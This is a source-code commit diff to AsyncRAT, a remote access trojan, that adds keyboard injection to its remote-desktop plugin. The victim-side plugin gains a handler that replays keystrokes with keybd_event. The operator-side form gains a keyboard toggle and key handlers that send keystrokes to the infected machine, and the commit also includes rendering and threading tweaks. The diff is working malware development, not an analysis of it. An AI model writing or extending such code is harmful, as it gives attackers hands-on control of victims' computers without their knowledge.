added keyboard keys

AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs

@@ -56,6 +56,14 @@ namespace Plugin
                                     IsOk = false;
                                     break;
                                 }
+
+                            case "keyboardClick":
+                                {
+                                    bool keyDown = Convert.ToBoolean(unpack_msgpack.ForcePathObject("keyIsDown").AsString);
+                                    byte key = Convert.ToByte(unpack_msgpack.ForcePathObject("key").AsInteger);
+                                    keybd_event(key, 0, keyDown ? (uint)0x0000 : (uint)0x0002, UIntPtr.Zero);
+                                    break;
+                                }
                         }
                         break;
                     }
@@ -131,5 +139,8 @@ namespace Plugin
 
         [DllImport("user32.dll")]
         static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo);
+
+        [DllImport("user32.dll")]
+        internal static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);
     }
 }

AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs

@@ -33,6 +33,7 @@
             this.pictureBox1 = new System.Windows.Forms.PictureBox();
             this.timer1 = new System.Windows.Forms.Timer(this.components);
             this.panel1 = new System.Windows.Forms.Panel();
+            this.btnKeyboard = new System.Windows.Forms.Button();
             this.btnMouse = new System.Windows.Forms.Button();
             this.btnSave = new System.Windows.Forms.Button();
             this.label2 = new System.Windows.Forms.Label();
@@ -59,7 +60,6 @@
             this.pictureBox1.TabIndex = 0;
             this.pictureBox1.TabStop = false;
             this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseDown);
-            //this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseMove);
             this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseUp);
             // 
             // timer1
@@ -70,6 +70,7 @@
             // panel1
             // 
             this.panel1.BackColor = System.Drawing.Color.Transparent;
+            this.panel1.Controls.Add(this.btnKeyboard);
             this.panel1.Controls.Add(this.btnMouse);
             this.panel1.Controls.Add(this.btnSave);
             this.panel1.Controls.Add(this.label2);
@@ -83,6 +84,17 @@
             this.panel1.Size = new System.Drawing.Size(938, 38);
             this.panel1.TabIndex = 1;
             // 
+            // btnKeyboard
+            // 
+            this.btnKeyboard.BackgroundImage = global::Server.Properties.Resources.keyboard;
+            this.btnKeyboard.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
+            this.btnKeyboard.Location = new System.Drawing.Point(622, 3);
+            this.btnKeyboard.Name = "btnKeyboard";
+            this.btnKeyboard.Size = new System.Drawing.Size(32, 32);
+            this.btnKeyboard.TabIndex = 6;
+            this.btnKeyboard.UseVisualStyleBackColor = true;
+            this.btnKeyboard.Click += new System.EventHandler(this.btnKeyboard_Click);
+            // 
             // btnMouse
             // 
             this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse;
@@ -219,12 +231,15 @@
             this.Controls.Add(this.panel1);
             this.Controls.Add(this.pictureBox1);
             this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
+            this.KeyPreview = true;
             this.MinimumSize = new System.Drawing.Size(655, 440);
             this.Name = "FormRemoteDesktop";
             this.Text = "RemoteDesktop";
             this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRemoteDesktop_FormClosed);
             this.Load += new System.EventHandler(this.FormRemoteDesktop_Load);
             this.ResizeEnd += new System.EventHandler(this.FormRemoteDesktop_ResizeEnd);
+            this.KeyDown += new System.Windows.Forms.KeyEventHandler(this.FormRemoteDesktop_KeyDown);
+            this.KeyUp += new System.Windows.Forms.KeyEventHandler(this.FormRemoteDesktop_KeyUp);
             ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
             this.panel1.ResumeLayout(false);
             this.panel1.PerformLayout();
@@ -250,5 +265,6 @@
         private System.Windows.Forms.Timer timerSave;
         private System.Windows.Forms.Button btnMouse;
         public System.Windows.Forms.Label labelWait;
+        private System.Windows.Forms.Button btnKeyboard;
     }
 }

AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs

@@ -28,14 +28,15 @@ namespace Server.Forms
 
         public int FPS = 0;
         public Stopwatch sw = Stopwatch.StartNew();
-        public Stopwatch RenderSW = Stopwatch.StartNew();
         public IUnsafeCodec decoder = new UnsafeStreamCodec(60);
         public Size rdSize;
         private bool isMouse = false;
-
+        private bool isKeyboard = false;
-
+        public object syncPicbox = new object();
+        private readonly List<Keys> _keysPressed;
         public FormRemoteDesktop()
         {
+            _keysPressed = new List<Keys>();
             InitializeComponent();
         }
 
@@ -178,7 +179,7 @@ namespace Server.Forms
         {
             try
             {
-                if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse)
+                if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
                 {
                     Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
                     int button = 0;
@@ -203,7 +204,7 @@ namespace Server.Forms
         {
             try
             {
-                if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse)
+                if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse)
                 {
                     Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height);
                     int button = 0;
@@ -254,15 +255,80 @@ namespace Server.Forms
                 isMouse = true;
                 btnMouse.BackgroundImage = Properties.Resources.mouse_enable;
             }
+            pictureBox1.Focus();
         }
 
         private void FormRemoteDesktop_FormClosed(object sender, FormClosedEventArgs e)
         {
             try
             {
-                Client?.Disconnected();
+                ThreadPool.QueueUserWorkItem((o) =>
+                {
+                    Client?.Disconnected();
+                });
             }
             catch { }
         }
+
+        private void btnKeyboard_Click(object sender, EventArgs e)
+        {
+            if (isKeyboard)
+            {
+                isKeyboard = false;
+                btnKeyboard.BackgroundImage = Properties.Resources.keyboard;
+            }
+            else
+            {
+                isKeyboard = true;
+                btnKeyboard.BackgroundImage = Properties.Resources.keyboard_on;
+            }
+            pictureBox1.Focus();
+        }
+
+        private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e)
+        {
+            if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard)
+            {
+                if (!IsLockKey(e.KeyCode))
+                    e.Handled = true;
+
+                if (_keysPressed.Contains(e.KeyCode))
+                    return;
+
+                _keysPressed.Add(e.KeyCode);
+
+                MsgPack msgpack = new MsgPack();
+                msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
+                msgpack.ForcePathObject("Option").AsString = "keyboardClick";
+                msgpack.ForcePathObject("key").AsInteger = Convert.ToInt32(e.KeyCode);
+                msgpack.ForcePathObject("keyIsDown").SetAsBoolean(true);
+                ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
+            }
+        }
+
+        private void FormRemoteDesktop_KeyUp(object sender, KeyEventArgs e)
+        {
+            if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isKeyboard)
+            {
+                if (!IsLockKey(e.KeyCode))
+                    e.Handled = true;
+
+                _keysPressed.Remove(e.KeyCode);
+
+                MsgPack msgpack = new MsgPack();
+                msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
+                msgpack.ForcePathObject("Option").AsString = "keyboardClick";
+                msgpack.ForcePathObject("key").AsInteger = Convert.ToInt32(e.KeyCode);
+                msgpack.ForcePathObject("keyIsDown").SetAsBoolean(false);
+                ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
+            }
+        }
+
+        private bool IsLockKey(Keys key)
+        {
+            return ((key & Keys.CapsLock) == Keys.CapsLock)
+                   || ((key & Keys.NumLock) == Keys.NumLock)
+                   || ((key & Keys.Scroll) == Keys.Scroll);
+        }
     }
 }

AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx

@@ -123,9 +123,6 @@
   <metadata name="timerSave.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
     <value>131, 17</value>
   </metadata>
-  <metadata name="timerPic.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
-    <value>273, 17</value>
-  </metadata>
   <assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
   <data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
     <value>

AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs

@@ -33,19 +33,18 @@ namespace Server.Handle_Packet
                             RD.numericUpDown2.Maximum = Screens - 1;
                         }
                         byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
-                        Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
+                        lock (RD.syncPicbox)
+                        {
+                            Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
 
-                        if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
-                        {
                             RD.pictureBox1.Image = decoded;
-                            RD.RenderSW = Stopwatch.StartNew();
+                            RD.FPS++;
-                        }
+                            if (RD.sw.ElapsedMilliseconds >= 1000)
-                        RD.FPS++;
+                            {
-                        if (RD.sw.ElapsedMilliseconds >= 1000)
+                                RD.Text = "RemoteDesktop:" + client.ID + "    FPS:" + RD.FPS + "    Screen:" + decoded.Width + " x " + decoded.Height + "    Size:" + Methods.BytesToString(RdpStream.Length);
-                        {
+                                RD.FPS = 0;
-                            RD.Text = "RemoteDesktop:" + client.ID + "    FPS:" + RD.FPS + "    Screen:" + decoded.Width + " x " + decoded.Height + "    Size:" + Methods.BytesToString(RdpStream.Length);
+                                RD.sw = Stopwatch.StartNew();
-                            RD.FPS = 0;
+                            }
-                            RD.sw = Stopwatch.StartNew();
                         }
                     }
                     else

AsyncRAT-C#/Server/Server.csproj

@@ -350,6 +350,8 @@
   <ItemGroup>
     <Content Include="async_icon.ico" />
     <Content Include="ILMergeOrder.txt" />
+    <None Include="Resources\keyboard-on.png" />
+    <None Include="Resources\keyboard.png" />
     <None Include="Resources\7z.dll" />
     <None Include="Resources\7z.exe" />
     <None Include="Resources\server.png" />